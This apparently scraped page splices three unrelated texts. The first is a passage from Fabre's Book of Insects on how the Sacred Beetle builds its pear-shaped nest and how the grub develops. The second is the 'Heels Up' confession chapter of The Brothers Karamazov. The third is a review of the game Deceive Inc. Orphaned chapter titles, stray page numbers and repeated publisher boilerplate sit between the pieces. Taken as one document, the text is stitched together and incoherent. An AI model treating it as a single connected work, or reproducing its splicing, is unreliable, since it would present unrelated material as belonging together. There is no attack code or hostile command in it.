hard rind. So the mother Beetle prepares a nice airy room with thin walls for her little grub to live in, during its first moments. There is a certain amount of air even in the very centre of the pear, but not enough for a delicate baby-grub. By the time he has eaten his way to the centre he is strong enough to manage with very little air. There is, of course, a good reason for the hardness of the shell that covers the big end of the pear. The Scarab’s burrow is extremely hot: sometimes the temperature reaches boiling point. The provisions, even though they have to last only three or four weeks, are liable to dry up and become uneatable. When, instead of the soft food of its first meal, the unhappy grub finds nothing to eat but horrible crusty stuff as hard as a pebble, it is bound to die of hunger. I have found numbers of these victims of the August sun. The poor things are baked in a sort of closed oven. To lessen this danger [ ]the mother Beetle compresses the outer layer of the pear—or nest—with all the strength of her stout, flat fore-arms, to turn it into a protecting rind like the shell of a nut. This helps to ward off the heat. In the hot summer months the housewife puts her bread into a closed pan to keep it fresh. The insect does the same in its own fashion: by dint of pressure it covers the family bread with a pan. 19 I have watched the Sacred Beetle at work in her den, so I know how she makes her pear-shaped nest. With the building-materials she has collected she shuts herself up underground so as to give her whole attention to the business in hand. The materials may be obtained in two ways. As a rule, under natural conditions, she kneads a ball in the usual way and rolls it to a favourable spot. As it rolls along it hardens a little on the surface and gathers a slight crust of earth and tiny grains of sand, which is useful later on. Now and then, however, the Beetle finds a suitable place for her burrow quite close to the spot where she collects her building-materials, and in that case she simply bundles armfuls of stuff into the hole. The result is most striking. One day I see a shapeless lump disappear into the burrow. Next day, or the day after, I visit the Beetle’s workshop and find the artist in front of her work. The [ ]formless mass of scrapings has become a pear, perfect in outline and exquisitely finished. 20 The part that rests on the floor of the burrow is crusted over with particles of sand, while the rest is polished like glass. This shows that the Beetle has not rolled the pear round and round, but has shaped it where it lies. She has modelled it with little taps of her broad feet, just as she models her ball in the daylight. By making an artificial burrow for the mother Beetle in my own workshop, with the help of a glass jar full of earth, and a peep-hole through which I can observe operations, I have been able to see the work in its various stages. The Beetle first makes a complete ball. Then she starts the neck of the pear by making a ring round the ball and applying pressure, till the ring becomes a groove. In this way a blunt projection is pushed out at one side of the ball. In the centre of this projection she employs further pressure to form a sort of crater or hollow, with a swollen rim; and gradually the hollow is made deeper and the swollen rim thinner and thinner, till a sack is formed. In this sack, which is polished and glazed inside, the egg is laid. The opening of the sack, or extreme end of the pear, is then closed with a plug of stringy fibres. There is a reason for this rough plug—a most curious [ ]exception, when nothing else has escaped the heavy blows of the insect’s leg. The end of the egg rests against it, and, if the stopper were pressed down and driven in, the infant grub might suffer. So the Beetle stops the hole without ramming down the stopper. 21 III. THE GROWING-UP OF THE SCARAB About a week or ten days after the laying of the egg, the grub is hatched, and without delay begins to eat its house. It is a grub of remarkable wisdom, for it always starts its meal with the thickest part of the walls, and so avoids making a hole through which it might fall out of the pear altogether. It soon becomes fat; and indeed it is an ungainly creature at best, with an enormous hump on its back, and a skin so transparent that if you hold it up to the light you can see its internal organs. If the early Egyptian had chanced upon this plump white grub he would never have suspected it to contain, in an undeveloped state, the sober beauty of the Scarab! When first it sheds its skin the insect that appears is not a full-grown Scarab, though all the Scarab’s features can be recognised. There are few insects so beautiful as this delicate creature with its wing-cases living in front of it like a wide pleated scarf and its fore-legs [ ]folded under its head. Half transparent and as yellow as honey, it looks as though it were carved from a block of amber. For four weeks it remains in this state, and then it too casts its skin. 22 Its colouring now is red-and-white,—so many times does the Sacred Beetle change its garments before it finally appears black as ebony! As it grows blacker it also grows harder, till it is covered with horny armour and is a full-grown Beetle. All this time he is underground, in the pear-shaped nest. Great is his longing to burst the shell of his prison and come into the sunshine. Whether he succeeds in doing so depends on circumstances. It is generally August when he is ready for release, and August as a rule is the driest and hottest month of the year. If therefore no rain falls to soften the earth, the cell to be burst and the wall to be broken defy the strength of the insect, which is helpless against all that hardness. The soft material of the nest has become an impassable rampart; it has turned into a sort of brick, baked in the kiln of summer. I have, of course, made experiments on insects that are ready to be released. I lay the hard, dry shells in a box where they remain dry; and sooner or later I hear a sharp, grating sound inside each cell. It is the prisoner scraping the wall with the rakes on his forehead [ ]and his fore-feet. Two or three days pass, and no progress seems to have been made. 23 I try to help a couple of them by opening a loophole with my knife; but these favoured ones make no more progress than the others. In less than a fortnight silence reigns in all the shells. The prisoners, worn out with their efforts, have all died. Then I take some other shells, as hard as the first, wrap them in a wet rag, and put them in a corked flask. When the moisture has soaked through them I rid them of the wrapper, but keep them in the flask. This time the experiment is a complete success. Softened by the wet the shells are burst by the prisoner, who props himself boldly on his legs, using his back as a lever, or else scrapes away at one point till the walls crumble to pieces. In every case the Beetle is released. In natural conditions, when the shells remain underground, the same thing occurs. When the soil is burnt by the August sun it is impossible for the insect to wear away his prison, which is hard as a brick. But when a shower comes the shell recovers the softness of its early days: the insect struggles with his legs and pushes with his back, and so becomes free. At first he shows no interest in food. What he wants above all is the joy of the light. He sets himself in the sun, and there, motionless, basks in the warmth.[ ] 24 Presently, however, he wishes to eat. With no one to teach him, he sets to work, exactly like his elders, to make himself a ball of food. He digs his burrow and stores it with provisions. Without ever learning it, he knows his trade to perfection. About HackerNoon Book Series: We bring you the most important technical, scientific, and insightful public domain books. This book is part of the public domain. Jean-Henri Fabre (2021). Fabre's Book of Insects. Urbana, Illinois: Project Gutenberg. Retrieved October https://www.gutenberg.org/cache/epub/67000/pg67000-images.html This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org , located at https://www.gutenberg.org/policy/license.html.

THE SACRED BEETLE

Mitya’s Great Secret. Received With Hisses

Kuzma Samsonov

The Brothers Karamazov by Fyodor Dostoyevsky is part of the HackerNoon Books Series. You can jump to any chapter in this book . The Confession Of A Passionate Heart—“Heels Up” here Chapter V. The Confession Of A Passionate Heart—“Heels Up” “Now,” said Alyosha, “I understand the first half.” “You understand the first half. That half is a drama, and it was played out there. The second half is a tragedy, and it is being acted here.” “And I understand nothing of that second half so far,” said Alyosha. “And I? Do you suppose I understand it?” “Stop, Dmitri. There’s one important question. Tell me, you were betrothed, you are betrothed still?” “We weren’t betrothed at once, not for three months after that adventure. The next day I told myself that the incident was closed, concluded, that there would be no sequel. It seemed to me caddish to make her an offer. On her side she gave no sign of life for the six weeks that she remained in the town; except, indeed, for one action. The day after her visit the maid‐servant slipped round with an envelope addressed to me. I tore it open: it contained the change out of the banknote. Only four thousand five hundred roubles was needed, but there was a discount of about two hundred on changing it. She only sent me about two hundred and sixty. I don’t remember exactly, but not a note, not a word of explanation. I searched the packet for a pencil mark—n‐nothing! Well, I spent the rest of the money on such an orgy that the new major was obliged to reprimand me. “Well, the lieutenant‐colonel produced the battalion money, to the astonishment of every one, for nobody believed that he had the money untouched. He’d no sooner paid it than he fell ill, took to his bed, and, three weeks later, softening of the brain set in, and he died five days afterwards. He was buried with military honors, for he had not had time to receive his discharge. Ten days after his funeral, Katerina Ivanovna, with her aunt and sister, went to Moscow. And, behold, on the very day they went away (I hadn’t seen them, didn’t see them off or take leave) I received a tiny note, a sheet of thin blue paper, and on it only one line in pencil: ‘I will write to you. Wait. K.’ And that was all. “I’ll explain the rest now, in two words. In Moscow their fortunes changed with the swiftness of lightning and the unexpectedness of an Arabian fairy‐tale. That general’s widow, their nearest relation, suddenly lost the two nieces who were her heiresses and next‐of‐kin—both died in the same week of small‐pox. The old lady, prostrated with grief, welcomed Katya as a daughter, as her one hope, clutched at her, altered her will in Katya’s favor. But that concerned the future. Meanwhile she gave her, for present use, eighty thousand roubles, as a marriage portion, to do what she liked with. She was an hysterical woman. I saw something of her in Moscow, later. “Well, suddenly I received by post four thousand five hundred roubles. I was speechless with surprise, as you may suppose. Three days later came the promised letter. I have it with me now. You must read it. She offers to be my wife, offers herself to me. ‘I love you madly,’ she says, ‘even if you don’t love me, never mind. Be my husband. Don’t be afraid. I won’t hamper you in any way. I will be your chattel. I will be the carpet under your feet. I want to love you for ever. I want to save you from yourself.’ Alyosha, I am not worthy to repeat those lines in my vulgar words and in my vulgar tone, my everlastingly vulgar tone, that I can never cure myself of. That letter stabs me even now. Do you think I don’t mind—that I don’t mind still? I wrote her an answer at once, as it was impossible for me to go to Moscow. I wrote to her with tears. One thing I shall be ashamed of for ever. I referred to her being rich and having a dowry while I was only a stuck‐up beggar! I mentioned money! I ought to have borne it in silence, but it slipped from my pen. Then I wrote at once to Ivan, and told him all I could about it in a letter of six pages, and sent him to her. Why do you look like that? Why are you staring at me? Yes, Ivan fell in love with her; he’s in love with her still. I know that. I did a stupid thing, in the world’s opinion; but perhaps that one stupid thing may be the saving of us all now. Oo! Don’t you see what a lot she thinks of Ivan, how she respects him? When she compares us, do you suppose she can love a man like me, especially after all that has happened here?” “But I am convinced that she does love a man like you, and not a man like him.” “She loves her own virtue, not me.” The words broke involuntarily, and almost malignantly, from Dmitri. He laughed, but a minute later his eyes gleamed, he flushed crimson and struck the table violently with his fist. “I swear, Alyosha,” he cried, with intense and genuine anger at himself; “you may not believe me, but as God is holy, and as Christ is God, I swear that though I smiled at her lofty sentiments just now, I know that I am a million times baser in soul than she, and that these lofty sentiments of hers are as sincere as a heavenly angel’s. That’s the tragedy of it—that I know that for certain. What if any one does show off a bit? Don’t I do it myself? And yet I’m sincere, I’m sincere. As for Ivan, I can understand how he must be cursing nature now—with his intellect, too! To see the preference given—to whom, to what? To a monster who, though he is betrothed and all eyes are fixed on him, can’t restrain his debaucheries—and before the very eyes of his betrothed! And a man like me is preferred, while he is rejected. And why? Because a girl wants to sacrifice her life and destiny out of gratitude. It’s ridiculous! I’ve never said a word of this to Ivan, and Ivan of course has never dropped a hint of the sort to me. But destiny will be accomplished, and the best man will hold his ground while the undeserving one will vanish into his back‐ alley for ever—his filthy back‐alley, his beloved back‐alley, where he is at home and where he will sink in filth and stench at his own free will and with enjoyment. I’ve been talking foolishly. I’ve no words left. I use them at random, but it will be as I have said. I shall drown in the back‐ alley, and she will marry Ivan.” “Stop, Dmitri,” Alyosha interrupted again with great anxiety. “There’s one thing you haven’t made clear yet: you are still betrothed all the same, aren’t you? How can you break off the engagement if she, your betrothed, doesn’t want to?” “Yes, formally and solemnly betrothed. It was all done on my arrival in Moscow, with great ceremony, with ikons, all in fine style. The general’s wife blessed us, and—would you believe it?—congratulated Katya. ‘You’ve made a good choice,’ she said, ‘I see right through him.’ And—would you believe it?—she didn’t like Ivan, and hardly greeted him. I had a lot of talk with Katya in Moscow. I told her about myself—sincerely, honorably. She listened to everything. There was sweet confusion, There were tender words. Though there were proud words, too. She wrung out of me a mighty promise to reform. I gave my promise, and here—” “What?” “Why, I called to you and brought you out here to‐day, this very day—remember it—to send you—this very day again—to Katerina Ivanovna, and—” “What?” “To tell her that I shall never come to see her again. Say, ‘He sends you his compliments.’ ” “But is that possible?” “That’s just the reason I’m sending you, in my place, because it’s impossible. And, how could I tell her myself?” “And where are you going?” “To the back‐alley.” “To Grushenka, then!” Alyosha exclaimed mournfully, clasping his hands. “Can Rakitin really have told the truth? I thought that you had just visited her, and that was all.” “Can a betrothed man pay such visits? Is such a thing possible and with such a betrothed, and before the eyes of all the world? Confound it, I have some honor! As soon as I began visiting Grushenka, I ceased to be betrothed, and to be an honest man. I understand that. Why do you look at me? You see, I went in the first place to beat her. I had heard, and I know for a fact now, that that captain, father’s agent, had given Grushenka an I.O.U. of mine for her to sue me for payment, so as to put an end to me. They wanted to scare me. I went to beat her. I had had a glimpse of her before. She doesn’t strike one at first sight. I knew about her old merchant, who’s lying ill now, paralyzed; but he’s leaving her a decent little sum. I knew, too, that she was fond of money, that she hoarded it, and lent it at a wicked rate of interest, that she’s a merciless cheat and swindler. I went to beat her, and I stayed. The storm broke—it struck me down like the plague. I’m plague‐stricken still, and I know that everything is over, that there will never be anything more for me. The cycle of the ages is accomplished. That’s my position. And though I’m a beggar, as fate would have it, I had three thousand just then in my pocket. I drove with Grushenka to Mokroe, a place twenty‐five versts from here. I got gypsies there and champagne and made all the peasants there drunk on it, and all the women and girls. I sent the thousands flying. In three days’ time I was stripped bare, but a hero. Do you suppose the hero had gained his end? Not a sign of it from her. I tell you that rogue, Grushenka, has a supple curve all over her body. You can see it in her little foot, even in her little toe. I saw it, and kissed it, but that was all, I swear! ‘I’ll marry you if you like,’ she said, ‘you’re a beggar, you know. Say that you won’t beat me, and will let me do anything I choose, and perhaps I will marry you.’ She laughed, and she’s laughing still!” Dmitri leapt up with a sort of fury. He seemed all at once as though he were drunk. His eyes became suddenly bloodshot. “And do you really mean to marry her?” “At once, if she will. And if she won’t, I shall stay all the same. I’ll be the porter at her gate. Alyosha!” he cried. He stopped short before him, and taking him by the shoulders began shaking him violently. “Do you know, you innocent boy, that this is all delirium, senseless delirium, for there’s a tragedy here. Let me tell you, Alexey, that I may be a low man, with low and degraded passions, but a thief and a pickpocket Dmitri Karamazov never can be. Well, then; let me tell you that I am a thief and a pickpocket. That very morning, just before I went to beat Grushenka, Katerina Ivanovna sent for me, and in strict secrecy (why I don’t know, I suppose she had some reason) asked me to go to the chief town of the province and to post three thousand roubles to Agafya Ivanovna in Moscow, so that nothing should be known of it in the town here. So I had that three thousand roubles in my pocket when I went to see Grushenka, and it was that money we spent at Mokroe. Afterwards I pretended I had been to the town, but did not show her the post office receipt. I said I had sent the money and would bring the receipt, and so far I haven’t brought it. I’ve forgotten it. Now what do you think you’re going to her to‐day to say? ‘He sends his compliments,’ and she’ll ask you, ‘What about the money?’ You might still have said to her, ‘He’s a degraded sensualist, and a low creature, with uncontrolled passions. He didn’t send your money then, but wasted it, because, like a low brute, he couldn’t control himself.’ But still you might have added, ‘He isn’t a thief though. Here is your three thousand; he sends it back. Send it yourself to Agafya Ivanovna. But he told me to say “he sends his compliments.” ’ But, as it is, she will ask, ‘But where is the money?’ ” “Mitya, you are unhappy, yes! But not as unhappy as you think. Don’t worry yourself to death with despair.” “What, do you suppose I’d shoot myself because I can’t get three thousand to pay back? That’s just it. I shan’t shoot myself. I haven’t the strength now. Afterwards, perhaps. But now I’m going to Grushenka. I don’t care what happens.” “And what then?” “I’ll be her husband if she deigns to have me, and when lovers come, I’ll go into the next room. I’ll clean her friends’ goloshes, blow up their samovar, run their errands.” “Katerina Ivanovna will understand it all,” Alyosha said solemnly. “She’ll understand how great this trouble is and will forgive. She has a lofty mind, and no one could be more unhappy than you. She’ll see that for herself.” “She won’t forgive everything,” said Dmitri, with a grin. “There’s something in it, brother, that no woman could forgive. Do you know what would be the best thing to do?” “What?” “Pay back the three thousand.” “Where can we get it from? I say, I have two thousand. Ivan will give you another thousand—that makes three. Take it and pay it back.” “And when would you get it, your three thousand? You’re not of age, besides, and you must—you absolutely must—take my farewell to her to‐day, with the money or without it, for I can’t drag on any longer, things have come to such a pass. To‐morrow is too late. I shall send you to father.” “To father?” “Yes, to father first. Ask him for three thousand.” “But, Mitya, he won’t give it.” “As though he would! I know he won’t. Do you know the meaning of despair, Alexey?” “Yes.” “Listen. Legally he owes me nothing. I’ve had it all from him, I know that. But morally he owes me something, doesn’t he? You know he started with twenty‐eight thousand of my mother’s money and made a hundred thousand with it. Let him give me back only three out of the twenty‐eight thousand, and he’ll draw my soul out of hell, and it will atone for many of his sins. For that three thousand—I give you my solemn word—I’ll make an end of everything, and he shall hear nothing more of me. For the last time I give him the chance to be a father. Tell him God Himself sends him this chance.” “Mitya, he won’t give it for anything.” “I know he won’t. I know it perfectly well. Now, especially. That’s not all. I know something more. Now, only a few days ago, perhaps only yesterday he found out for the first time in earnest (underline in earnest) that Grushenka is really perhaps not joking, and really means to marry me. He knows her nature; he knows the cat. And do you suppose he’s going to give me money to help to bring that about when he’s crazy about her himself? And that’s not all, either. I can tell you more than that. I know that for the last five days he has had three thousand drawn out of the bank, changed into notes of a hundred roubles, packed into a large envelope, sealed with five seals, and tied across with red tape. You see how well I know all about it! On the envelope is written: ‘To my angel, Grushenka, when she will come to me.’ He scrawled it himself in silence and in secret, and no one knows that the money’s there except the valet, Smerdyakov, whom he trusts like himself. So now he has been expecting Grushenka for the last three or four days; he hopes she’ll come for the money. He has sent her word of it, and she has sent him word that perhaps she’ll come. And if she does go to the old man, can I marry her after that? You understand now why I’m here in secret and what I’m on the watch for.” “For her?” “Yes, for her. Foma has a room in the house of these sluts here. Foma comes from our parts; he was a soldier in our regiment. He does jobs for them. He’s watchman at night and goes grouse‐shooting in the day‐time; and that’s how he lives. I’ve established myself in his room. Neither he nor the women of the house know the secret—that is, that I am on the watch here.” “No one but Smerdyakov knows, then?” “No one else. He will let me know if she goes to the old man.” “It was he told you about the money, then?” “Yes. It’s a dead secret. Even Ivan doesn’t know about the money, or anything. The old man is sending Ivan to Tchermashnya on a two or three days’ journey. A purchaser has turned up for the copse: he’ll give eight thousand for the timber. So the old man keeps asking Ivan to help him by going to arrange it. It will take him two or three days. That’s what the old man wants, so that Grushenka can come while he’s away.” “Then he’s expecting Grushenka to‐day?” “No, she won’t come to‐day; there are signs. She’s certain not to come,” cried Mitya suddenly. “Smerdyakov thinks so, too. Father’s drinking now. He’s sitting at table with Ivan. Go to him, Alyosha, and ask for the three thousand.” “Mitya, dear, what’s the matter with you?” cried Alyosha, jumping up from his place, and looking keenly at his brother’s frenzied face. For one moment the thought struck him that Dmitri was mad. “What is it? I’m not insane,” said Dmitri, looking intently and earnestly at him. “No fear. I am sending you to father, and I know what I’m saying. I believe in miracles.” “In miracles?” “In a miracle of Divine Providence. God knows my heart. He sees my despair. He sees the whole picture. Surely He won’t let something awful happen. Alyosha, I believe in miracles. Go!” “I am going. Tell me, will you wait for me here?” “Yes. I know it will take some time. You can’t go at him point blank. He’s drunk now. I’ll wait three hours—four, five, six, seven. Only remember you must go to Katerina Ivanovna to‐day, if it has to be at midnight, with the money or without the money, and say, ‘He sends his compliments to you.’ I want you to say that verse to her: ‘He sends his compliments to you.’ ” “Mitya! And what if Grushenka comes to‐day—if not to‐day, to‐morrow, or the next day?” “Grushenka? I shall see her. I shall rush out and prevent it.” “And if—” “If there’s an if, it will be murder. I couldn’t endure it.” “Who will be murdered?” “The old man. I shan’t kill her.” “Brother, what are you saying?” “Oh, I don’t know.... I don’t know. Perhaps I shan’t kill, and perhaps I shall. I’m afraid that he will suddenly become so loathsome to me with his face at that moment. I hate his ugly throat, his nose, his eyes, his shameless snigger. I feel a physical repulsion. That’s what I’m afraid of. That’s what may be too much for me.” “I’ll go, Mitya. I believe that God will order things for the best, that nothing awful may happen.” “And I will sit and wait for the miracle. And if it doesn’t come to pass—” Alyosha went thoughtfully towards his father’s house. About HackerNoon Book Series: We bring you the most important technical, scientific, and insightful public domain books. This book is part of the public domain. Fyodor Dostoyevsky (2009). The Brothers Karamazov. Urbana, Illinois: Project Gutenberg. Retrieved October https://www.gutenberg.org/cache/epub/28054/pg28054-images.html This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org , located at https://www.gutenberg.org/policy/license.html .

The Confession Of A Passionate Heart—“Heels Up”

Deceive Inc. is a multiplayer stealth first-person shooter developed by Sweet Bandits Studios and released on March 21, 2023, for PC, Xbox One, and PS5. Following an international ban on national spy agencies, a private corporation named Deceive Inc. soon claimed a monopoly over espionage. As company employees, players work in teams of three or alone to break into a secure vault, steal the objective, and reach an extraction point. Sounds easy. Well, you’ll also be competing against other spies looking to accomplish the same thing, as deploying multiple agents at once is a company practice. The competitive atmosphere is good for business. Deceive Inc. Characters and Agents with a roster of eight different agents. Players will start with three agents and unlock more by purchasing them with credits, which can only be earned in-game. The low price of five hundred credits per agent allows most players to unlock a new agent every couple of games, allowing them to unlock the full roster quickly. While the game does have a premium currency, called agent bonds, that can be bought with real money, it is only used to buy cosmetics such as weapon inks or agent skins, which can also be purchased with credits or earned through normal gameplay. Deceive Inc. launches Each agent boasts a unique ability, weapon, and passive trait and is divided into four archetypes to help better understand their play style. For example, the gentleman thief Larcin is a Scoundrel agent who can pickpocket valuable items when meleeing rival agents and briefly turn invisible to elude pursuers. Meanwhile, Deceive Inc.’s latest recruit, Squire, is a Vanguard agent who highlights useful objects like keycards and Intel for himself and his team. He also gains a quick speed boost whenever he takes combat damage, making him an excellent character for beginners to play as. In addition to this vast roster, each agent has a mastery level that increases as players continue to play as their favorite character. As they level up, they unlock character-themed customization options and modified abilities specific to that character. Holo-Cover and Gadgets Of course, no self-respecting spy should go out into the field without some fancy gadgets. One of the most essential pieces of equipment for Deceive Inc. agents is their standard-issue watch. It not only allows them to hack into devices to get Intel and unlock doors, but it also has a function integral to the survival of any field operative: Holo-Cover. This allows players to disguise themselves as NPCs and blend in with the crowd as a civilian. Players can also use it to disguise themselves as staff members and guards to access otherwise restricted areas without drawing suspicion. High-profile actions such as melee attacks, firing your weapon, or getting caught in a place where your disguise doesn’t work will break the camouflage and reveal you as a spy to the guards and any nearby rivals. This mechanic adds a dose of paranoia to the game as you accomplish your mission. Players will constantly watch for anyone acting suspiciously and ensure they don’t look out of place themselves. People familiar with games like The Ship or Assassin’s Creed: Brotherhood’s multiplayer mode will enjoy this cat-and-mouse gameplay. Aside from your watch and weapon, Deceive Inc. offers a wide range of gadgets for players to unlock and equip for missions. The Spyglass allows agents to hack Intel from a distance remotely, the Tripwire will blow the cover of any rival that crosses it, and the Shield-Brella can provide some much-needed cover in a firefight. And for those who want to test the limits of the phrase “hide in plain sight,” the Holo-Mimic allows players to transform into particular inanimate objects, similar to the popular Prop Hunt game mode from Garry’s Mod. Deceive Inc. Gameplay Review Agents are tasked with stealing an objective from various Bond-esque supervillains across four maps. The gameplay loop is divided into three stages: Insertion, Infiltration, and Extraction. During the Insertion phase, agents must locate and hack three special terminals to unlock the main vault. Players are shown five possible locations for these vault terminals. Guards and two locked doors protect each one. Players gather Intel by hacking various electronic devices throughout the map to unlock doors. Intel is used as a resource to unlock doors and safes and use health and ammo stations. Alternatively, players can look for keycards to open the corresponding doors without paying an Intel cost. Once the three vault terminals are hacked, whether by you or your rivals, the vault doors will open, and the Infiltration phase will commence. In the Infiltration phase, players infiltrate the vault area through one of several potential entry points and make their way to the package. These areas are off-limits to civilians, so be sure to don an appropriate disguise and act accordingly. Agents will then break into the secure room and retrieve the package, a gold briefcase, or lie in wait for someone else to steal the package and take it from them! Regardless of who steals the case, the Extraction phase will commence once it’s been swiped. After stealing the package, the carriers must escape to one of three extraction points, knowing they now have a target on their backs. As the carrier makes a break for it, their location will be periodically pinged to all other players based on a timer and their movement speed. The faster they move, the more frequent the pings. However, the package carrier is granted an ability that reveals other players to them at the cost of consuming Intel. If a player dies during a mission, they are out. They can continue spectating the match or opt to search for a new game. In Team mode, teammates can revive a fallen ally once per mission. But the team will have to go on without them if they go down again. A game ends if someone successfully extracts the package or if one spy (or group of spies) is left standing. Overall Impressions and What’s Next for Deceive Inc. The game features crossplay between , PC, and Xbox One, with relatively short queue times for both Solo and Team modes. Since its launch, the game has gained a small but healthy community of players and attention from several influencers and streamers on YouTube and Twitch. The game's unique mix of stealth and gunplay is fun but may prove challenging for some players for their first few missions. And the limits on respawning could be a downside for those looking for a more casual experience. However, people looking for a multiplayer spy game with high-risk, high-reward gameplay will enjoy Deceive Inc. PS5 Since its release, Sweet Bandits have teased their first catalog update, Misery Empire, to be released later in April. This update will feature a new Heat system that will dissuade players from taking out innocent NPCs by making trigger-happy spies increasingly vulnerable to damage with each NPC eliminated. It will also introduce tweaks to team revive mechanics, rebalancing to vault rooms, changes to character hitboxes, and adding a new agent to Deceive Inc.’s roster.

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